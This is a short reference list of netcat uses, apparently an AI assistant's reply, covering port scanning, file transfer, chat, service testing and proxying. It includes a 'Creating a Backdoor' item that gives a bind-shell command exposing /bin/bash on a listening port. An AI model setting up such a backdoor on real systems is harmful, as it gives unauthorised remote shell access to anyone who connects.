Netcat (nc) is a powerful networking tool with various common uses, including:
-
Port Scanning: Check open ports on a target machine.
nc -zv target_ip 1-1000 -
File Transfer: Send or receive files over a network.
- Sender:
nc -w 3 target_ip 1234 < file.txt - Receiver:
nc -l -p 1234 > received_file.txt
- Sender:
-
Chatting: Create a simple chat application between two machines.
- Listener:
nc -l -p 1234 - Client:
nc target_ip 1234
- Listener:
-
Creating a Backdoor: Open a shell on a remote machine (use responsibly and ethically).
nc -l -p 1234 -e /bin/bash -
Testing Network Services: Check if a service is running on a specific port.
echo "GET /" | nc target_ip 80 -
Proxying: Forward traffic between two hosts.
nc -l -p 1234 | nc target_ip target_port
These are just a few examples. Netcat is versatile and can be adapted for many networking tasks. If you need more details on any specific use case, let me know!
